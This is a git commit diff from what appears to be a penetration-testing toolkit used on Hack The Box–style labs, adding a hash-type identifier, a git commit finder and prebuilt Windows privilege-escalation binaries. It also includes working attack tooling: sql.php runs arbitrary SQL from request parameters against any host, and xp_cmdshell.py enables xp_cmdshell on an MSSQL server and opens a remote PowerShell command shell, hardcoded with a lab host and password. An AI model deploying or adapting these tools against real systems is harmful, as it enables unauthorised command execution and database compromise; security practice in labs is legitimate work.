Browse Source

some windows binaries, git commit finder

Roman Hergenreder 2 years ago
parent
commit
12af2f80b7
13 changed files with 245 additions and 37 deletions
  1. 19 1
      crack_hash.py
  2. 3 2
      fileserver.py
  3. 183 0
      find_git_commit.py
  4. 4 2
      sql.php
  5. 2 2
      util.py
  6. BIN
      win/PrintSpoofer.exe
  7. BIN
      win/Seatbelt.exe
  8. BIN
      win/SeatbeltNet4x64.exe
  9. BIN
      win/SharpDPAPI.exe
  10. BIN
      win/SharpGPOAbuse.exe
  11. BIN
      win/nmap-setup.exe
  12. BIN
      win/wireshark-setup.exe
  13. 34 30
      xp_cmdshell.py

+ 19 - 1
crack_hash.py

@@ -25,6 +25,7 @@ class HashType(enum.Enum):
     RAW_SHA1 = 100
     SHA1_PASS_SALT = 110
     SHA1_SALT_PASS = 120
+    SHA1_SHA1 = 4500
     SHA1 = 101
     SSHA1 = 111
 
@@ -81,6 +82,14 @@ class HashType(enum.Enum):
     # Keepass
     KEEPASS = 13400
 
+    # mysql
+    MYSQL_323 = 200
+    MYSQL_41 = 300
+    MySQL_CRAM = 11200
+
+    #
+    IPMI2 = 7300
+
 class Hash:
 
     def __init__(self, hash):
@@ -124,6 +133,8 @@ class Hash:
                 self.type.append(HashType.PYTHON_PBKDF2_SHA512)
             elif crypt_type == "keepass":
                 self.type.append(HashType.KEEPASS)
+            elif crypt_type == "mysqlna":
+                self.type.append(HashType.MySQL_CRAM)
         elif "$" in raw_hash and raw_hash.startswith("pbkdf2_sha256$"):
             self.type.append(HashType.DJANGO_PBKDF2_SHA256)
         else:
@@ -163,7 +174,9 @@ class Hash:
 
         if HEX_PATTERN.match(raw_hash):
             hash_len = len(raw_hash)
-            if hash_len == 32:
+            if hash_len == 16:
+                self.type.append(HashType.MYSQL_323)
+            elif hash_len == 32:
                 if self.isSalted:
                     self.type.append(HashType.MD5_PASS_SALT)
                     self.type.append(HashType.MD5_SALT_PASS)
@@ -179,6 +192,8 @@ class Hash:
                 else:
                     self.type.append(HashType.RAW_SHA1)
                     self.type.append(HashType.RAW_RIPEMD_160)
+                    self.type.append(HashType.MYSQL_41)
+                    self.type.append(HashType.SHA1_SHA1)
             elif hash_len == 64:
                 if self.isSalted:
                     self.type.append(HashType.SHA256_PASS_SALT)
@@ -205,6 +220,9 @@ class Hash:
                 if not self.isSalted:
                     seld.type.append(HashType.MSSQL)
                     self.hash = "0x" + raw_hash # TODO: MSSQL requires 0x prefix..
+            elif hash_len == 142:
+                if self.isSalted:
+                    self.type.append(HashType.IPMI2)
         elif raw_hash.startswith("0x") and HEX_PATTERN.match(raw_hash[2:]) and len(raw_hash) == 140+2:
             seld.type.append(HashType.MSSQL)
 

+ 3 - 2
fileserver.py

@@ -85,7 +85,8 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
         if len(headers) == 0:
             self.send_response(status_code)
         else:
-            self.log_request(status_code)
+            if path != "/dummy":
+                self.log_request(status_code)
             self.send_response_only(status_code)
 
             for key, value in headers.items():
@@ -100,7 +101,7 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
         if data and self.command.upper() not in ["HEAD","OPTIONS"]:
             self.wfile.write(data)
 
-        if path in self.server.dumpRequests or "/" in self.server.dumpRequests:
+        if (path in self.server.dumpRequests or "/" in self.server.dumpRequests) and path != "/dummy":
             contentLength = self.headers.get('Content-Length')
             body = None
 

+ 183 - 0
find_git_commit.py

@@ -0,0 +1,183 @@
+import argparse
+import re
+import os
+import tempfile
+import subprocess
+import collections
+import shutil
+import hashlib
+import datetime
+
+PROC_ENV = { "LC_ALL": "C" }
+
+def run_cmd(cmd, dir=None, raw=False):
+    proc = subprocess.Popen(cmd, cwd=dir, env=PROC_ENV, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
+    out = b"".join(proc.communicate())
+
+    if not raw:
+        out = out.decode().strip()
+
+    exit_code =  proc.returncode
+    return exit_code, out
+
+
+def check_git_dir(dir):
+    exit_code, out = run_cmd(["git", "status"], dir)
+    if "not a git repository" in out:
+        print("[-] Given directory is not a git repository.")
+        return False
+    elif "Your branch is up to date" not in out \
+         or "nothing to commit, working tree clean" not in out:
+        print("[-] Git repository is not in a clean state, please reset it to HEAD")
+        return False
+    elif exit_code != 0:
+        print("[-] Error checking given directory:", out)
+        return False
+    else:
+        return True
+
+
+def git_clone(dir, url):
+    print(f"[ ] Cloning {url} to {dir}")
+    exit_code, out = run_cmd(["git", "clone", url, dir, "-q"])
+    if exit_code != 0:
+        print("[-] Error cloing git repository:")
+        print(out)
+        return False
+    return True
+
+
+def check_input_dir(dir):
+    if not os.path.isdir(dir):
+        print("[-] Invalid directory:", dir)
+        return False
+
+    if os.path.isdir(os.path.join(dir, ".git")):
+        print("[-] Directory to check should not be a git repository")
+        return False
+
+    valid_files = []
+    real_root = os.path.realpath(dir)
+    for root, subdirs, files in os.walk(dir):
+        for file in files:
+            full_path = os.path.realpath(os.path.join(root, file))
+            file_size = os.path.getsize(full_path)
+            if file_size > 0:
+                relative_path = full_path[len(real_root) + 1:]
+                valid_files.append(relative_path)
+    
+    if len(valid_files) == 0:
+        print("[-] Given directory does not contain any non-empty files")
+        return False
+
+    return valid_files
+
+
+def get_commits_for_file(file, git_dir):
+    cmd = ["git","log","--no-color", "--pretty=format:%H %at", "--all","--", file]
+    exit_code, out = run_cmd(cmd, git_dir)
+    if exit_code != 0:
+        print("[-] git-log failed:", out)
+        return None
+    else:
+        lines = out.split("\n")
+        commits = collections.OrderedDict()
+        for line in lines:
+            if line:
+                data = line.split(" ")
+                hash, ts = line.split(" ")
+                commits[hash] = int(ts) 
+
+        return commits
+        
+def hash(data, alg):
+    h = hashlib.new(alg)
+    h.update(data)
+    return h.hexdigest()
+
+def read_file(file):
+    with open(file, "rb") as f:
+        return f.read()
+
+def find_newest_commit(git_dir, file_name, sha1hash, md5hash, commits):
+    for commit_hash in reversed(commits.keys()):
+        cmd = ["git", "show", f"{commit_hash}:{file_name}"]
+        exit_code, out = run_cmd(cmd, git_dir, raw=True)
+        if exit_code != 0:
+            print("[-] git-show failed:", out)
+            return None
+        elif sha1hash == hash(out, "sha1") and md5hash == hash(out, "md5"):
+            return commit_hash
+    return None
+
+def get_commit_message(dir, commit_hash):
+    cmd = ["git","log","--no-color", "--pretty=format:%B", "-n1", commit_hash]
+    exit_code, out = run_cmd(cmd, dir)
+    if exit_code != 0:
+        print("[-] git-log failed:", out)
+        return None
+    else:
+        return out
+
+def run(files, root_dir, git_dir):
+
+    latest_commit = None
+    latest_ts = None
+
+    for f in files:
+        commits = get_commits_for_file(f, git_dir)
+        if commits:
+            print(f"[+] {f} found in git history")
+            sha1hash = hash(read_file(os.path.join(root_dir, f)), "sha1")
+            md5hash  = hash(read_file(os.path.join(root_dir, f)), "md5")
+            found_commit = find_newest_commit(git_dir, f, sha1hash, md5hash, commits)
+            if found_commit:
+                print(f"[+] Commit {found_commit} matches")
+                if latest_commit is None or commits[found_commit] < latest_ts:
+                    latest_commit = found_commit
+                    latest_ts = commits[found_commit]
+        else:
+            print(f"[-] {f} not found in git history")
+
+    if latest_commit is None:
+        print("[-] No matching commit found")
+    else:
+        title = get_commit_message(git_dir, latest_commit)
+        formatted_dt = datetime.datetime.fromtimestamp(latest_ts).strftime("%A, %d. %B %Y %I:%M%p")
+        print(f"[+] Commit might be: {latest_commit}, {formatted_dt}, {title}")
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser()
+    parser.add_argument(
+        dest="dir",
+        help="The directory containing downloaded files"
+    )
+    parser.add_argument(
+        dest="git",
+        help="URL or path to git repository to compare to"
+    )
+    parser.add_argument(
+        "-n",
+        "--no-delete",
+        dest="nodelete",
+        action="store_true",
+        help="Don't delete the git directory after cloning"
+    )
+
+    is_remote_git = False
+    args = parser.parse_args()
+    git_dir = args.git
+    if re.match("^(git|https?)://.*", args.git) or \
+         (len(args.git.split(":")) == 2 and "@" in args.git.split(":")[0]):
+        git_dir = tempfile.TemporaryDirectory(suffix=".git").name
+        is_remote_git = True
+        if not git_clone(git_dir, args.git):
+            exit(1)
+    
+    if check_git_dir(git_dir):
+        valid_files = check_input_dir(args.dir)
+        if valid_files != False:
+            run(valid_files, args.dir, git_dir)
+
+    if is_remote_git and not args.nodelete:
+        shutil.rmtree(git_dir)

+ 4 - 2
sql.php

@@ -3,13 +3,15 @@ error_reporting(E_ALL);
 $username = $_REQUEST["username"]; 
 $password = $_REQUEST["password"];
 $database = (isset($_REQUEST["database"]) ? $_REQUEST["database"] : null);
+$host     = (isset($_REQUEST["host"]) ? $_REQUEST["host"] : "localhost");
+$query    = (isset($_REQUEST["query"]) ? $_REQUEST["query"] : "SELECT @@version");
 
-$link = mysqli_connect("localhost", $username, $password, $database);
+$link = mysqli_connect($host, $username, $password, $database);
 if (!$link) {
   die("Error connecting to mysql: " . mysqli_connect_error() . " (" . mysqli_connect_errno() . ")");
 }
 
-$res = mysqli_query($link, $_REQUEST["query"]);
+$res = mysqli_query($link, $query);
 if (!$res) {
   die("Error executing query: " . mysqli_error($link));
 }

+ 2 - 2
util.py

@@ -154,8 +154,8 @@ def collectUrls(input):
         input = BeautifulSoup(input, "html.parser")
 
     urls = set()
-    attrs = ["src","href"]
-    tags = ["a","link","script","img"]
+    attrs = ["src","href","action"]
+    tags = ["a","link","script","img","form"]
 
     for tag in tags:
         for e in input.find_all(tag):

BIN
win/PrintSpoofer.exe


BIN
win/Seatbelt.exe


BIN
win/SeatbeltNet4x64.exe


BIN
win/SharpDPAPI.exe


BIN
win/SharpGPOAbuse.exe


BIN
win/nmap-setup.exe


BIN
win/wireshark-setup.exe


+ 34 - 30
xp_cmdshell.py

@@ -5,6 +5,7 @@
 import os, cmd, sys, re, base64
 from impacket import tds
 import readline
+import argparse
 
 class XpShell(cmd.Cmd):
 
@@ -13,6 +14,7 @@ class XpShell(cmd.Cmd):
         self.sql = SQLObj
         self.prompt = 'xp_cmd> '
         self.file = None
+        self.pwsh = False
 
     def powershell_encode(self, data):
         return base64.b64encode(data.encode('UTF-16LE')).decode()
@@ -24,7 +26,7 @@ class XpShell(cmd.Cmd):
     def default(self, arg):
         try:
 
-            if pwsh:
+            if self.pwsh:
                 new_arg = 'powershell -encodedCommand {}'
                 arg = new_arg.format(self.powershell_encode(arg))
 
@@ -36,6 +38,7 @@ class XpShell(cmd.Cmd):
         except Exception as e:
             print('Exception: ')
             print(str(e))
+            raise e
             pass
 
     # i wont say what it does
@@ -115,6 +118,14 @@ exit                -   i wont say what it does
         self.sql.colMeta[0]['TypeData'] = 80*1
         self.sql.printRows()
 
+    def do_enable_xp_cmdshell(self):
+        try:
+            self.sql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;"
+                               "exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
+            self.sql.printReplies()
+            self.sql.printRows()
+        except Exception as e:
+            raise e
 
     # encodes bytes as base64 and writes them to a file via powershell
     def write_bytes_to_file(self, data, target):
@@ -132,32 +143,25 @@ exit                -   i wont say what it does
 
 def connect_mssql(ip, port=1433, username="sa", password="", domain=""):
     # do database connection (simple for now)
-    try:
-        ms_sql = tds.MSSQL(ip, port)
-        ms_sql.connect()
-        res = ms_sql.login(database = None, username=username, password=password, domain=domain)
-        ms_sql.printReplies()
-        if res:
-            return XpShell(ms_sql)
-        else:
-            return res
-
-    except Exception as e:
-        print('Exception: ')
-        print(str(e))
-        return False
-
-# if __name__ == '__main__':
-#     # pass commands directly into powershell
-#     # ./xp_cmdshell.py -powershell
-#     if len(sys.argv) > 1 and sys.argv[1] == '-powershell':
-#         pwsh = True
-#
-#     # if connection successful
-#     ms_sql, res = connect_mssql()
-#     if res is True:
-#         shell = XpShell(ms_sql)
-#         shell.cmdloop()
-#
-#     # close ms_sql
-#     ms_sql.disconnect()
+    ms_sql = tds.MSSQL(ip, port)
+    ms_sql.connect()
+    res = ms_sql.login(database = None, username=username, password=password, domain=domain)
+    ms_sql.printReplies()
+    if res:
+        return XpShell(ms_sql)
+    else:
+        return res
+
+if __name__ == '__main__':
+    # pass commands directly into powershell
+    # ./xp_cmdshell.py -powershell
+    # if len(sys.argv) > 1 and sys.argv[1] == '-powershell':
+    #     pwsh = True
+
+    # if connection successful
+    xp_shell = connect_mssql("teignton.htb", username="webappusr", password="d65f4sd5f1s!df1fsd65f1sd")
+    if isinstance(xp_shell, XpShell):
+        xp_shell.do_enable_xp_cmdshell()
+        xp_shell.pwsh = True
+        xp_shell.cmdloop()
+        xp_shell.sql.disconnect()